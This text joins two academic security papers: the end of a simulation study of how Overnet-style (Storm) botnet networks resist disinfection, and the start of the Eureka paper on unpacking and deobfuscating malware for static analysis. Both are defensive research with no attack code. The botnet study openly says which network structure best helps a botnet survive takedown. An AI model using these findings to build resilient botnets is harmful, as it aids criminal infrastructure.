underlying C&C infrastructure. Let A = {n1, n2, .., nj} be the nodes correspond-
ing to the disinfected bots (removed from the botnet C&C infrastructure) and
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let Ḡ = (V̄ , Ē), with V̄ = V −A, denote the new underlying graph of the C&C
infrastructure. The effectiveness of the disinfection strategy can be characterised
by the decrease of |V̄ | and |Ē|.

5.1 Disinfection Strategies

For our simulation analysis, we consider three disinfection strategies, as described
below.

Random disinfection. The focus here is just to disinfect bots as they are
discovered, without attempt to gain insight in the overall C&C infrastructure
of the botnet. This strategy is equivalent to the occurrence of random errors
in the botnet, i.e. random removal of nodes from G. This disinfection approach
models a user or system administrator discovering and successfully removing
the bot code from the machine, while making no attempt to acquire or use any
information gleaned from the bot to aid in the rolling-up the overall botnet.

Tree-like disinfection. When bots are discovered, information about their peer
lists (peers they are connected to) can be gleaned from analysing their commu-
nication traffic or by reverse engineering the bot code. A peer list can then be
used to identify other bots, and the other bots peer lists, in turn can be used to
discover other bots, and so on.

Global information-based disinfection. The aim of this approach is to ac-
quire information about a botnet C & C infrastructure within an allowed time
period, then use the information to prioritise the bots in terms of the order with
which they should be disinfected. This approach divides time into discrete time
windows ∆ti’s. All bots discovered within a given time slot ∆ti are considered as
an ordered set Ai whose elements are ordered according to their assessed disin-
fection priorities. At the end of ∆ti, the elements of Ai are disinfected according
to their order in the set. The bots in the sets Ai’s can be ordered in decreasing
order of the degrees of the given bots within the botnet C&C infrastructure.
Bots with the same degree are ordered according to the order they were discov-
ered. This approach models, for example, a large-scale ISP or large private- or
public-sector organisation observing a given botnet, active within its confines,
and then using the gained information to inflict maximal damage on the bot-
net, as facilitated by having local bot discovery processes forward what they
learn to a centralised analysis process, which then selects the most appropriate
disinfection approach.

This latter disinfection mechanism requires a lot of global information which
may be hard to gather across different administrative domains. However, as men-
tioned in the review of the literature, Cooke, Jahania, McPherson [10] already
suggested possible detection methods based on the correlation of events gathered
by distributed sensors. In any case, this global information approach is useful
since it should represent the optimal strategy against which any disinfection
strategy should be compared.
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Fig. 4. Random disinfection reachability histograms for k hops after 20% of the nodes
are removed, for (a) k = 1, (b) k = 2, and (c) k = 3

5.2 Disinfection Analysis Results

Figure 4 shows the reachability results for k = 1, 2, 3, for the four graph types
after 20% of the nodes were removed randomly. The standard deviation for the
histogram values range from 0 to 4.8% of the calculated mean values over the
20 graphs generated for each network type.

The random disinfection results of Figure 4 show the same trends as those of
Figure 2. Additionally, comparison of Figures 2(b) with 4(b) and 2(c) with 4(c)
indicates that the removal of a fixed percentage of nodes have greater effect on
ER and Overnet graphs. For example, Figures 2(b) and 4(b) show that when 20%
of the nodes are randomly removed from ER and Overnet graphs, the number
of nodes with 20% reachability fell from 15,000 to approximately 1,500, i.e., a
decrease of 90%. Whereas for ER and Overnet graphs, the number of nodes with
20% reachability fell from approximately 25,000 to 18,000 for BA and 16,000 for
Gnutella, i.e., a decrease of 28% and 36%, respectively. This supports previous
results [28,29,30] indicating that BA graphs are more resilient to random errors
(random removal of nodes) than ER graphs. In essence, since both Gnutella and
BA graphs exhibit only a few nodes of very high degree, there is a low probability
that a given random removal will remove such a node. Hence, reachability is
preserved since it is highly probable that all other nodes have a short path to
one of these highly connected nodes.

Similarly to the scenario for the random removal strategy, Figures 5 and 6
provide, respectively, the results for reachability and shortest path length sets
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Fig. 5. Reachability histograms for k = 2, 3 hops after tree-like disinfection, (a) and
(b), and global information-based disinfection, (c) and (d), respectively
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Fig. 6. Shortest path lengths results after 20% of the nodes removed via (a) tree-like
disinfection, and (b) global information-based disinfection

cardinalities for the other two directed disinfection strategies, after the same
20% portion of the nodes have been disinfected.

In the case of the tree-like disinfection, comparison of Figures 5(a) with 2(b),
5(b) with 2(c), and 6(a) with 3, shows that Overnet and ER graphs exhibit
greater degree of resilience to disinfection than Gnutella and BA graphs. For
example, Figures 6(a) and 3 reveal that when 20% of the nodes are removed
from the graphs via tree-like disinfection, the number of pairs with the length of
the shortest path equal to 3, decreases from approximately 1.75×108 for BA and
1.25× 108 for Gnutella to approximately 2.0 × 107 for both; a decrease of over
88% for BA and 84% for Gnutella graphs. Whereas for Overnet and ER graphs,
the decrease is from approximately 5.0×107 to 2.0×107, i.e., a decrease of 60%.
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Table 2. Disinfection data: fraction of nodes removed vs. diameter

Random Tree-like Global info.

f ON ER GN BA ON ER GN BA ON ER GN BA
0 6 6 5 5 6 6 5 5 6 6 5 5
0.1 6 6 5 5 6 6 6 6 6 6 8 ∞
0.2 6 6 6 6 6 6 7 7 6 7 ∞ ∞
0.3 7 7 6 6 6 7 ∞ ∞ 7 ∞ ∞ ∞
0.4 7 7 ∞ ∞ 7 7 ∞ ∞ ∞ ∞ ∞ ∞

Of course, from the perspective of a graph intended to malicious use, tree-like
disinfection can be viewed as a measure of the ease with which the network could
be rolled-up based on iteratively exploiting local connectivity knowledge.

For global information-based disinfection, comparison of Figures 2(b) with
5(c), 2(c) with 5(d), and 3 with 6(b) reveal the most interesting results: Overnet
graphs exhibit much greater resilience to global information-based disinfection
than ER graphs. For example, a look at Figures 2(b) and 5(c) shows that when
20% of the nodes of the graphs are removed via global information-based dis-
infection, the number of nodes that have 10% reachability for k = 2, decreases
from all 25,000 nodes for both Overnet and ER graphs, to approximately 17,500
for Overnet and 4,000 for ER. Obviously, this is a key design consideration if
one is seeking to construct P2P networks to support malicious activities un-
der the expectation that the defensive community will be activity engaged in
cooperatively trying to disable the network.

The results from diameter analysis also confirm this trend. Table 2 indicates
that for global information-based disinfection, the ER graphs became discon-
nected when 20% of the nodes were removed; whereas, for Overnet graphs, 30%
of the nodes had to be removed for the graphs to become disconnected. It is
important to notice that diameter changes are not gradual, but instead occur
at sharp thresholds (see Table 2). This is much akin to the previously known
[34,38] sharp transitions in connectivity in ER random graph processes, where
edges are added one at a time with the given probability p. It should be noted
that for the disinfection analysis via the diameter measure, the mode of data
sets for the 20 simulation runs, instead of their mean, was computed to support
the requirement to include graph disconnection, as represented by ∞ in Table 2.

Finally, Figure 7 tells the most compelling story of all. Even though, all re-
sults so far indicate that Overnet is the most resilient botnet C&C structure,
the comparison of the effect of the various disinfection strategies highlights the
need for further research efforts to develop effective mitigation schemes. Whereas
global information-disinfection strategy has much more dramatic effects on BA,
Gnutella and ER graphs, than on the Overnet Graph,there is essentially very
little difference between the three disinfection strategies for Overnet. In other
words, the significant extra effort necessary to implement the most complex
disinfection strategies only pays off against the less resilient types of network,
but not against Overnet. Against Overnet, for the same percentage of nodes
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Fig. 7. The effect of the three disinfection strategies on Overnet, for (a) k = 2 and (b)
k = 3, after removal of 20% of the nodes

removed, the simpler random removal strategy is equally effective (or inneffec-
tive) as the more complex tree-like or global information-based strategies. This
suggests the need for further research geared to develop more efficient botnet
mitigation schemes against Overnet-type C&C infrastructures.

6 Discussion

This work began from the general research supposition that Storm was unlikely
to have arrived at its use of Overnet by happenstance. Instead, it was more likely
that Overnet provided an available solution that well-served the intrinsic needs
created when one tries to run large-scale botnets to service malicious activities.
Through the analysis above, it has been shown Overnet indeed provides a solu-
tion which allows stealthiness and resilience to be traded-off against efficiency.
In effect, of the networks tested, Overnet provides the best solution for a P2P
network designed to support malicious activities within an environment within
which the P2P network itself will be under attack at the cost of only relatively
mild losses in efficiency. No claim is made that Overnet represents the ultimate
solution for malicious botnet design, merely that as the current step along the
evolutionary path it appears to be a fairly good solution from the context of
engineering design, assuming one of the key design criteria is botnet longevity.

In parallel, the question was explored as to whether the available formal graph-
theoretic models, i.e., Erdős-Rényi random graphs and Barabási-Albert scale-
free networks, would better serve the botnet operators’ needs. From the research
perspective, the applicability of such models would have the distinct advantage
that at-scale network behaviours would, in the worst-case, depending on the
parameter of interest, be asymptotically computable; hence, side-stepping the
need for at-scale simulation studies. Two interesting results were observed via
this comparison. The non-maliciously used P2P solutions, namely Gnutella, did
follow relatively closely the Barabási-Albert scale-free network model, at least
with respect to the tested measures. Hence, it would not be unreasonable to
model such networks as Barabási-Albert networks.

The behaviour of Overnet, on the other hand, although closest to Erdős-
Rényi random graphs, was not well modelled as an Erdős-Rényi graph and,



Structured Peer-to-Peer Overlay Networks 477

in fact, significantly surpassed their performance with respect to tree-like and
global information-based disinfection. These disinfection approaches, in partic-
ular, model the defender iteratively attempting to roll-up the botnet; hence,
Overnet’s success may help to explain why, in part, its real-world disinfection
has presented a challenge. In essence, Overnet is the most diffuse and least-tree
like of all of the tested networks, where each node contains (or exposes once
discovered) the least information about the botnet’s overall structure. Whereas,
efficiency pushes the network solution toward a much more tree-like structure,
ideally with the trunk of the tree being the high capacity nodes, but this entails
creating a network which is easily rolled-up or disconnected.

The above questions were explored through three newly introduced measures
in this context, namely: reachability, shortest path sets, and diameter. It was
shown that together these measures provided a quantitative mechanism to ex-
plore what appears to be an innate trade-off of network efficiency versus its
stealth and resilience. In particular, these measures allow some insight to the
design of concern when constructing P2P networks to service malicious activi-
ties and, hence, expected to exist and operate while themselves under direct and
continual threat. No claim is made that the proposed measures are in and of
themselves either complete or sufficient. It is fully expected that other measures
exist which are equally important in exploring and understanding the design con-
siderations of botnet C&C. The proposed measures do, however, expose issues
which have not been previously addressed.

6.1 Conclusions

The conclusions of this work can be succinctly stated as follows:

1. A general trade-off of network efficiency versus stealthiness and resilience
exists and allows the operators of malicious botnets to sacrifice a modicum
of efficiency to achieve significant gains in likely botnet longevity.

2. The developed measures of reachability, shortest path sets, and diameter
when combined provide an effective mechanism to explore the nature of
such trade-offs.

3. It appears that non-maliciously used P2P networks, i.e., Gnutella, can likely
be well modelled via existing graph-theoretic models, i.e., Barabási-Albert
networks, whereas malicious botnets, i.e.,Overnet, cannot; this implies a
need to either augment the theory models to include Overnet-like behaviours,
a seemingly difficult task due to the hard peer-list thresholding done within
individual nodes, or the need to turn to simulation-based studies to explore
the at-scale behaviours of such botnets.

4. If one was building a botnet to service malicious activities then Overnet
would appear to provide a strong solution to a number of the engineering
challenges faced when the deployment environment is assumed to be hos-
tile, where this is irrespective of the mechanisms by which Storm’s actual
operators may have arrived at this solution.

5. Overnet, due to its quite diffuse structure, shows the particular troubling
behaviour of a very slow degradation in its capabilities, as nodes are removed
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in a tree-like fashion using the local peer list information, with disconnection
only occurring suddenly once one has already removed more than 40% of the
network’s nodes.

6.2 Future Work

Obviously, this work, by the nature of the approach applied, has focused solely
on the issues and measures which can be assessed through static graph analysis.
A number of interesting and important issues exists with respect to how the
proposed network models actually behave within real networks. For example, as
discussed above, stealthiness is a critical issue if the botnet is to achieve longevity.
Achieving stealthiness is, at least in part, related to a) ensuring that network
hot spots do not arise due to intra-botnet communications, and b) reducing the
message footprint by keeping short intra-botnet path lengths. Additionally, a key
concern is gaining an understanding of just how quickly a given command can be
propagate through the actual botnet, or more generally, the time frame require to
ensure that M machines of the botnet’s available N machines have been recruited
to serve a particular need, i.e., spam generation, a DDoS attack, network probing
activities, etc.. Exploring such issue requires simulating such botnets at-scale,
given the likelihood of emergent behaviours, inclusive of the actual network
traffic they generate. We are moving forward with developing such simulations.
Within this context, we are also beginning to look at whether more effective
and practical approaches to counter a Storm-like botnet may exist and what
these may entail. Obviously, it is unlikely that Storm-like botnets represent an
evolutionary end-point of malicious botnets; gaining an understanding of how
such networks can be tuned and designed to survive disinfection approaches is
important to improving our ability to effectively counter such networks. It is
unclear whether disinfection and mitigation approaches developed under small-
scale system analysis will translate effectively to large-scales systems, i.e., into
the botnet-scales already seen in real-world. Hence, an area we are exploring is
the analysis and characterisation of the emergent behaviours which are exhibited
by P2P networks and, more generally, botnets as they scale, as well as the
development of effective at-scale disinfection strategies. Finally, there is of course
the need to explore how on-going birth and death processes effect measured
network behaviours and capabilities.
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Abstract. We introduce Eureka, a framework for enabling static analy-
sis on Internet malware binaries. Eureka incorporates a novel binary un-
packing strategy based on statistical bigram analysis and coarse-grained
execution tracing. The Eureka framework uniquely distinguishes itself
from prior work by providing effective evaluation metrics and techniques
to assess the quality of the produced unpacked code. Eureka provides
several Windows API resolution techniques that identify system calls in
the unpacked code by overcoming various existing control flow obfusca-
tions. Eureka’s unpacking and API resolution capabilities facilitate the
structural analysis of the underlying malware logic by means of micro-
ontology generation that labels groupings of identified API calls based
on their functionality. They enable a visual means for understanding
malware code through the automated construction of annotated control
flow and call graphs. Our evaluation on multiple datasets reveals that
Eureka can simplify analysis on a large fraction of contemporary Internet
malware by successfully unpacking and deobfuscating API references.

1 Introduction

Consider the challenges that arise in assessing the threat posed from a new
malware binary strain that appears on the Internet or is discovered in a highly
sensitive computing environment. Now multiply this challenge by the hundreds
of new strains and repurposed malware variants that appear on the Internet
yearly [16,21], and the need to develop automated tools to extract and analyze all
facets of malware binary logic becomes clear. Unfortunately, malware developers
are also well aware of the efforts to reverse engineer their binaries, and employ
a wide range of binary obfuscation techniques to deter analysis and reverse
engineering.

Nevertheless, whether drawn by the deep need or the challenges, substantial
efforts have been made in recent years to develop automated malware binary
analysis systems. In particular, two primary approaches have dominated these
efforts. Dynamic analyses refer to techniques to profile the actions of the malware
binary at runtime [9,4]. Static analyses refer to techniques to decompile and an-
alyze the logical structure, flow, and data content stored within the binary itself.
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While both analysis techniques yield important (and sometimes complementary)
insight into the capabilities and purpose of a malware binary, these techniques
also have their unique advantages and disadvantages.

To date, dynamic analysis based approaches have arguably offered a better
track record and mind share among those working on malware binary analysis.
Part of that success is attributable to the challenges of overcoming the formi-
dable obfuscation techniques [24,26], or packers [22] that are widely utilized by
contemporary malware authors. These obfuscation techniques, including func-
tion and API call obfuscation, and control flow obfuscations along with a gamut
of other protections proposed by the research community [8,19], have been shown
to deter static analyses. While defeating these obfuscations is a prerequisite step
to conducting meaningful static analyses, they can largely be overcome by those
conducting dynamic analyses. However, traditional dynamic analysis provide
only a partial “effects oriented” profile of the full potential of a given malware
binary. Multipath exploring dynamic analysis [18] has the potential to improve
traditional dynamic analysis by executing code paths for unsatisfied trigger con-
ditions, but does not guarantee completeness.

Static program analysis can provide complementary insights to dynamic analy-
ses in those occasions where binary obfuscations can be sufficiently overcome. Sta-
tic program analysis offers the potential for a more comprehensive assessment and
correlation of code and data of the program. For example, by analyzing the se-
quence of invoked system calls and APIs, performing control flow analysis, and
tracking data segment references, it is possible to infer logical code bombs, tempo-
ral triggers, and other malicious system interactions, and from these form higher
level semantics about malicious behavior. Features such as the presence of net-
work communication logic, registry and OS manipulations, object creations (e.g.,
files, processes, inter-process communication) can be detected, whether these ca-
pabilities are exercised at runtime or not. Static analysis, when presented with a
deobfuscated binary can complement and even inform dynamic program analyses
with a more comprehensive picture of the program logic.

1.1 The Eureka Framework

In this paper, we introduce a malware binary deobfuscation framework referred
to as Eureka, designed to maximally facilitate static code analysis. Figure 1
presents an overview of the modules and logical work flow that compose the Eu-
reka framework. The Eureka workflow begins with the subject-packed malware
binary, which is executed in a VM managed by Eureka. After interrogating local
environment for evidence of tracing or debugging, the malware process enters a
phase of unpacking and the eventual spawning of its core malware payload logic
while a parallel Eureka kernel driver tracks the execution of the malware binary,
periodically evaluating the process for signs that it has unpacked its image. In
Section 3, we present Eureka’s course-grained execution tracking algorithm and
introduce novel binary n-gram statistical trigger for evaluating when the un-
packed process image has reached a stable state. Once the execution tracker
triggers a process image dump, Eureka employs the IDA-Pro disassembler [1] to
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Fig. 1. The Eureka Malware Binary Deobfuscation Framework

Table 1. Design space of unpackers. Evasions: (1) multiple packing, (2) partial code
revealing multi-layered packing, (3) vm detection, (4) emulator detection

System Monitoring Monitoring Trigger Child Process Output Execution Potential
Environment Granularity Types Monitoring Layers Speed Evasions

PolyUnpack Inside VM Instruction Model-based No 1 Slow 1,2,3
Renovo Emulator Instruction Heuristic Yes many Slow 2,4
OmniUnpack Inside VM Page Heuristic No many Fast 2,3
Eureka Inside VM System Call Heuristic, Statistical Yes 1,many Fast 2,3

disassemble the image, and then proceeds to conduct API resolution and prepare
the code image for static analysis. In Section 4, we discuss Eureka’s API map
recovery module, which provides several automated deobfuscation procedures to
recover hidden API invocations that are commonly used to thwart static analy-
sis. Once API resolution is completed, the code image is processed by Eureka’s
analyzability metrics generation module which compares several attributes to
decide if static analysis of the unpacked image yields useful results. Following
the presentation of the Eureka framework, we further present a corpus evaluation
(Section 6) to illustrate the usage and effectiveness of Eureka.

2 Related Work

The problem of obfuscated malware has confounded analysts for decades [26].
The first obfuscation techniques exhibited by malware in the wild include viral
metamorphism [26] and polymorphism [24]. Several obfuscation approaches have
since been presented in the literature [7] including, opaque predicates [8] and
recently opaque constants [19]. Packers and executable protectors [22] are often
used to automatically add several layers of protection to malware executables.
Recent packers and protectors also incorporate API obfuscations that make it
hard for analyzers to identify system calls or calls to Windows APIs.

Automated unpacking. There have been several recent attempts at build-
ing automated and generic tools for unpacking malware, most notably PolyUn-
pack [23], Renovo [13], and OmniUnpack [17]. Table 1 summarizes the design
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space of automated unpackers that illustrates their strengths, differences, and
common weakness. PolyUnpack, which was the first automated unpacking tech-
nique, builds a static model of the program and uses fine-grained execution
tracking to detect when an instruction an instruction outside of the model is
executed. PolyUnpack uses the Windows debugging API to single-step through
the process execution. Like PolyUnpack, Renovo uses a fine-grained execution
monitoring approach to track unpacking progress and considers the execution of
newly written code as an indicator of unpack completion. Renovo is implemented
using the QEMU emulator, which resides outside the execution environment of
the malware and supports multiple layers of unpacking. OmniUnpack is most
similar to Eureka in that it uses a coarse-grained execution tracking approach.
However, their granularities are orthogonal: OmniUnpack tracks execution at the
page level while Eureka tracks execution at the system call level. OmniUnpack
uses page-level protection mechanisms available in hardware to identify when
code is executed from a page that was newly modified.

Static and dynamic malware analysis. Previous work in malware analysis
that uses static analysis has primarily focused on malware detection approaches.
Known malicious patterns are identified in [10]. The approach of using semantic
behavior to thwart some specific code obfuscations was presented in [11]. Rootkit
behavior detection was presented in [15], and [14] uses a static analysis approach
to identify spyware behavior in Browser Helper Objects. Traditional program
analysis techniques [20] have been investigated for binary programs in general
and malware in particular. Dataflow techniques such as Value Set Analysis [3]
aim at recovering the set of possible values that each data object can hold at
each program point. CWSandbox [9] and TTAnalyze [4] are dynamic analysis
systems that execute programs in a restricted environment and observe sequence
of system interactions (using system calls). Pararoma [30] uses system-wide taint
propagation to analyze information flow, which it uses for detecting malware.
Bitscope [6] incorporates symbolic execution-based static analysis to analyze
malicious behavior.

Statistical analysis. Fileprint analysis [25] studies statistical binary content
analysis as a means to identify malicious content embedded in files, finding that
n-gram analysis is a useful means to detect anomalous file segments. A further
finding is that normal system files and malware can be well classified using 1-
gram and 2-gram analysis. While our methodology is similar, the problem differs
in that we use bi-grams to model unpacked code and it is independent of the
code being malicious. N-gram analysis has also been used in other contexts,
including anomalous packet detection in network intrusion detection systems
such as PAYL [29] and Anagram [28].

3 Informed and Coarse-Grained Execution Tracking

In general, all of the current methods for binary unpacking start with some sort
of dynamic analysis. Unpacking systems begin their processing by executing the



Eureka: A Framework for Enabling Static Malware Analysis 485

malware binary, allowing it to self-decrypt its malicious payload logic and to
then fork control to this newly revealed program logic. One primary method by
which unpacking systems distinguish themselves is in the approach each takes
to monitor the progression of the packed binaries’ self-decryption process. When
the unpacker determines that the process has sufficiently revealed the malicious
payload logic, it will then dump the malicious process image for use in static
analysis.

Much of the variability in unpacking strategies comes from the granularity
of monitoring that is used to track the self-decryption progress of the packed
binary. Some techniques rely on tracking the progress of the packed process on
a per-individual instruction basis. We refer to this instruction-level monitoring
as fine-grained monitoring. Other strategies use more coarse-grained monitor-
ing, such as OmniUnpack, which checkpoints the self-decryption progress of the
malicious binary via intercepting interrupts from the page-level protection mech-
anisms. Eureka, like OmniUnpack, tracks the execution progress of the packed
binary image via coarse-grained check pointing. However, rather than using page
interrupts, Eureka tracks the malicious process via the system call interface. Eu-
reka’s coarse-grained execution tracker operates as a kernel driver that dumps
the malicious process image for disassembly when it believes that the malicious
payload logic has been sufficiently revealed. In the following, we present two
different methods for deciding when to dump the malicious process image, i.e.,
a heuristic-based method which works for most contemporary malware and a
statistical n-gram anlaysis method which is more robust.

3.1 Heuristics-Based Unpacking

Eureka’s principal method of unpacking is to follow the execution of the malware
program by tracking its progress at the system call level. Among the advantages
of this approach, the progression of the self-decrypting process image can be
tracked with very little overhead. Each system call indicates that a particu-
lar interesting event is occurring in the executing malware. Eureka employs a
Windows-driver-based unpacker that hooks the Windows SSDT (System Service
Dispatch Table). The driver executes a callback routine when a system call is
invoked from a user-level program. We use a filtering approach based on the
process ID (PID) of the process invoking the system call. A user-level program
initiates the execution of the malware and informs the Eureka driver of the
malware’s PID.

The heuristics-based unpacking approach of Eureka exploits a simple strategy in
which it uses the event of program exit as triggering the snapshot of the malware’s
virtual memory address space. That is, the system call NtTerminateProcess is
used to trigger the dumping of the malware process image, under the assumption
that the use of this API implies that the unpacked malicious payload has been suc-
cessfully decrypted, spawned, and is now ending. Another noticeable behavior we
found in a large number of malware programs was that the malware spawns its
own executable as another process. We believe this is a widely used technique that
detaches from debuggers or system call tracers that trace only the initial malware
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process. Thus, Eureka also employs a simple heuristic that dumps the malware dur-
ing the execution of the NtCreateProcess system call, we found that a large frac-
tion of current malware programs were successfully unpacked.

A problem with the above heuristic is that not all malware programs exit and
keep an executing version resident in memory. There are several weaknesses in
this simple heuristics-based approach. Although the above two heuristics may
work for a large fraction of malware today, it may not be the same for fu-
ture malware. With the knowledge of these heuristics, packers may incorporate
the features of including process creation as part of the unpacking process. This
would mean that unpacking may not have completed when the NtCreateProcess
system call is intercepted. Also, malware authors can simply avoid exiting the
malware process, avoiding the use of the NtTerminateProcess system call. Nev-
ertheless, these very basic and very efficient heuristics demonstrate that very sim-
ple and straightforward mechanisms can be effective in unpacking a significant
fraction of today’s malware (as much as 80% of malware analyzed in our corpus
experiments, Section 6). Where these heuristics fail, our statistical-based n-gram
strategy provides a more than sufficient complement to unpack the remaining
malware.

3.2 Statistics-Based Unpacking

As an alternative to its system-call heuristics, Eureka also tracks the statisti-
cal distribution of executable memory regions. In developing such an approach,
we are motivated by the simple premise that unpacked executables have fun-
damentally different statistical properties that could be exploited to determine
when a malware program has fully unpacked itself. A Windows PE (portable
executable) is composed of several different types of regions. These include file
headers and data directories, code sections (typically labeled as .text), and data
sections (typically labeled as .data). Intuitively, as the malware unpacks itself,
we expect that the code-to-data ratio would increase. So we expect that tracking
the volume of code and data in the executable would provide us with a measure
of the progress of unpacking. However several potential complications could arise
that must be considered:

– Code and data are often interleaved, especially in malicious executables.
– Data directory regions such as import tables that have statistically similar

properties to data sections (i.e., ASCII data) are embedded within code
sections.

– Properties of data sections holding packed code might vary greatly based on
packers and differ significantly from data sections in benign executables.

To address these issues, we develop an approach that models statistical prop-
erties of unpacked code. Our approach is based on two observations. First, code
has certain intrinsic properties that tend to be invariant across executables (e.g.,
certain opcodes, registers, and instruction sequences are more prevalent than
others). These statistical properties may be used to measure relative changes in
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the volume of unpacked code. Second, we expect that the volume of unpacked
code would be strictly increasing as a packed malware executes and unravels
itself. Surprisingly, we find that both our assertions hold for the vast majority
of malware and across most packers.

Mining statistical patterns in x86 code: As a means to study typical and
frequently occurring patterns in x86 code, we began by looking at a small col-
lection of benign PE executables. A natural way to search for such patterns is
to use a simple n-gram analysis. Specifically, we were interested in using n-gram
analysis to build models of sections of these executables that contained x86 in-
structions. Our first approach was to simply extract entire sections from the PE
header that was labeled as code. However, we found that large portions of these
sections also contained long sequences of ASCII data from non x86 instructions,
e.g., data directories or DLL names, which biased our analysis. To alleviate this
bias, we used the IDA Pro disassembler, to extract regions from these executables
that were marked as functions by looking for arguments to the MakeFunction
calls in the IDC file. We then performed bigram analysis on this data. We chose
bigrams because x86 opcodes tend to be either 1-byte or 2-bytes. By looking at
frequently occurring bigrams we are looking at the most common opcode pairs
or 2-byte opcodes. Once we developed a list of the most common bigrams for the
benign executable, we used objdump output to evaluate whether bigrams occur
in opcodes or operands (addresses, registers). Intuitively, one expects the former
to be more reliable than the latter. We provide a summary in Table 2. Based
on this analysis, we selected FF 15 (pushl) and FF 75 (call) as two candidate
bigrams that are prevalent in x86 code. We also looked for spaced bigrams (byte
pairs separated by 1 or more bytes). We found that the call instruction with one
byte opcode (e8) has a relative offset. The last byte of this offset invariably ends
up being 00 or FF depending on whether has a positive or negative offset. Thus
high frequencies of e8 00 and e8 ff are also indicative of x86 code.

To evaluate the feasibility of this approach, we examined bigram distribu-
tions on a corpus of 1291 malware instances. We first unpacked each of these
instances using our heuristic-based unpacker and then evaluated the quality of
unpacking by evaluating the code-to-data ratio in an IDA Pro disassembly. We
found that the heuristic-based unpacker did not produce a useful unpacking in
201 instances (small amount of code and low code-to-data ratio in the IDA dis-
assembly). Out of the remaining 1090 binaries, we labeled 125 binaries as being
originally unpacked (significant amount of code and high code-to-data ratio in
both packed and unpacked disassemblies) and 965 as being successfully unpacked
(significant amount of code and high code-to-data ratio only in the disassembly
of the unpacked executable). Using counts of aforementioned bigrams, we were
able to produce output consistent with that of IDA disassembly evaluation. We
correctly identified all 201 instances of still-packed binaries, all 125 instances
of originally unpacked binaries, and 922 (out of 965) instances of the success-
fully unpacked binaries. In summary, this simple bigram counting approach had
over a 95% success rate in distinguishing between packed and unpacked malware
instances.
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Table 2. Occurrence summary of bigrams

Bigrams calc explorer ipconfig lpr mshearts notepad ping shutdown taskman
(117 KB) (1010 KB) (59 KB) (11 KB) (131 KB) (72 KB) (21 KB) (23 KB) (19 KB)

FF 15 (call) 246 3045 184 24 192 415 58 132 126
FF 75 (push) 235 2494 272 33 274 254 41 63 85

E8 - - - 0xff (call) 1583 2201 181 19 369 180 87 49 41
E8 - - - 0x00 (call) 746 1091 152 62 641 108 57 66 50

STOP – Statistical Test for Online unPacking. Inspired by the results
from offline bigram counting experiments, Eureka incorporates STOP, an online
algorithm for determining the terminating (or dumping) condition. We pose the
problem as a simple hypothesis testing argument that checks for increase in
mean value of bigram counts. Our null hypothesis is that the mean value of
x86 instruction bigrams has not increased. We would like to conclude that the
mean value has increased when we see a consistent and significant shift in the
bigram counts. Let us assume that we have the prior mean (µ0) for the candidate
x86 instruction bigrams, and that we have a sample of N recent bigram counts.
We assume that this sample is normally distributed with mean value (µ1) and
standard deviation (σ1). We compute z0 = µ1−µ0

σ1
. If z0 > 1.645 then we reject

the null hypothesis (with a confidence level of 0.95 for a normal distribution). We
have integrated the STOP algorithm into our Eureka execution tracking module.
STOP parameters include the ability to choose to compute the mean value of
particular bigrams at each system call, every n system calls for a given value of
n, or only when certain anomalous system calls are invoked.

4 API Resolution Techniques

User-level malware programs require the invocation of system calls to interact
with the OS in order to perform malicious actions. Therefore, analyzing and
extracting malicious behaviors from these programs require the identification
of invoked system calls. Besides the predefined mechanism of system calls that
require trapping to kernel, application programs may interact with the operating
systems via higher level shared helper modules. For example, in Windows, the
Win32 API is a collection of services provided by helper DLLs that reside in user
space, while the native APIs are services provided by the kernel. In such a design,
the user-level API allows a higher-level understanding of behavior because most
of the semantic information is lost at the native level. Therefore, an in-depth
binary static analysis requires the identification of all Windows API calls, and
call sequences, made within the program.

Obfuscations that impede analysis by hiding API calls have become prevalent
in malware. Analyzers such as IDA Pro [1] or OllyDbg [2] support the standard
loading and linking method of binaries with DLLs, which modern packers bypass
Rather, they employ a variety of nonstandard techniques to link or connect call
sites with the intended API function residing in a DLL. We refer to the task
of deobfuscating or identifying Windows API function targets from the image
of a previously packed malware binary, no matter how they are referenced, as
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Fig. 2. Example of the standard linking mechanism of PE executables in Windows

obfuscated API resolution. In this section, we first provide a background on
how normal API resolution occurs in Windows, and then contrast this with
how Eureka handles problems of obfuscated API resolution. These analyses are
performed on IDA Pro’s disassembly of the unpacked binary, as produced by
Eureka’s automated unpacker.

4.1 Background: Standard API Resolution

Understanding the challenges of obfuscated API resolution first requires an un-
derstanding of how packers typically avoid the standard methods of linking API
functions that reside in user-level DLLs. The Windows process loader and linker
are responsible for linking DLLs with a PE (Portable Executable) binary. Fig-
ure 2 illustrates the high-level view of the mechanism. Each executable contains
an import table directory, which consists of entries corresponding to each DLL it
imports. The entries point to tables containing names or ordinals for functions
that need to be imported from a specific DLL. When the binary is loaded, the
required DLLs are mapped into the memory address space of the application,
and the export table in the DLL is used to determine the virtual addresses of the
functions that need to be linked. A table called the Import Address Table (IAT)
is filled in by the loader and linker with the virtual addresses of each imported
function. This table is referred to by indirect control flow instructions in the
program to call the functions in the linked DLL.

4.2 Resolving Obfuscated APIs without the Import Tables and IAT

Packers avoid using the standard linking mechanism by removing entries from
the import directory of the packed binaries. For the program to function as be-
fore after unpacking, the logic of loading the DLLs and linking the program with
the API functions is incorporated into the program itself. Among other meth-
ods, this may include explicit invocations to GetProcAddress and LoadLibrary
API calls.1 The LoadLibrary API provides a method of mapping a DLL into a
process’s address space during execution, and the GetProcAddress API returns
the virtual address of an API function in a loaded DLL.
1 In most cases, at least these two API functions are kept in the import table, or their

addresses are hard-coded in the program.
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Let us assume that the IAT defined in a malware executable’s header is in-
complete, corrupt, or not used at all. Let us further assume that the unpacking
routine may include entries in the IAT that are planted to mislead naive analysis
attempts. Moreover, the malware executable has the power to recreate a similar
table in any memory location of its choosing or use methods that may not require
table-like data structures. The objective of Eureka’s API resolution module is
to resolve APIs in such cases to facilitate the static analysis of the executable.
In the following, we outline the strategies used by the Eureka API resolution
module to accomplish these deobfuscations, presented in the increasing order of
complexity.

Handling DLL obfuscations. DLLs loaded at standard virtual ad-
dresses. By default, DLLs are loaded at the virtual address specified as the
image base address in the DLL’s PE header. The standard Windows Win32
DLLs specified bases do not clash with each other. Therefore, unless intervened,
the loader and linker can load all these DLLs at the specified base virtual ad-
dresses. By assuming this is the case, a table of probable virtual addresses of each
exported API function from these DLLs can be built. This simple method has
been found to work for many unpacked binary malware images. For example, for
Windows XP service pack 2, the KERNEL32.DLL has a default image base address
of 0x7C800000. The RVA (relative virtual address) of the API GetProcessId is
0x60C75, making its default virtual address 0x7C860C75.

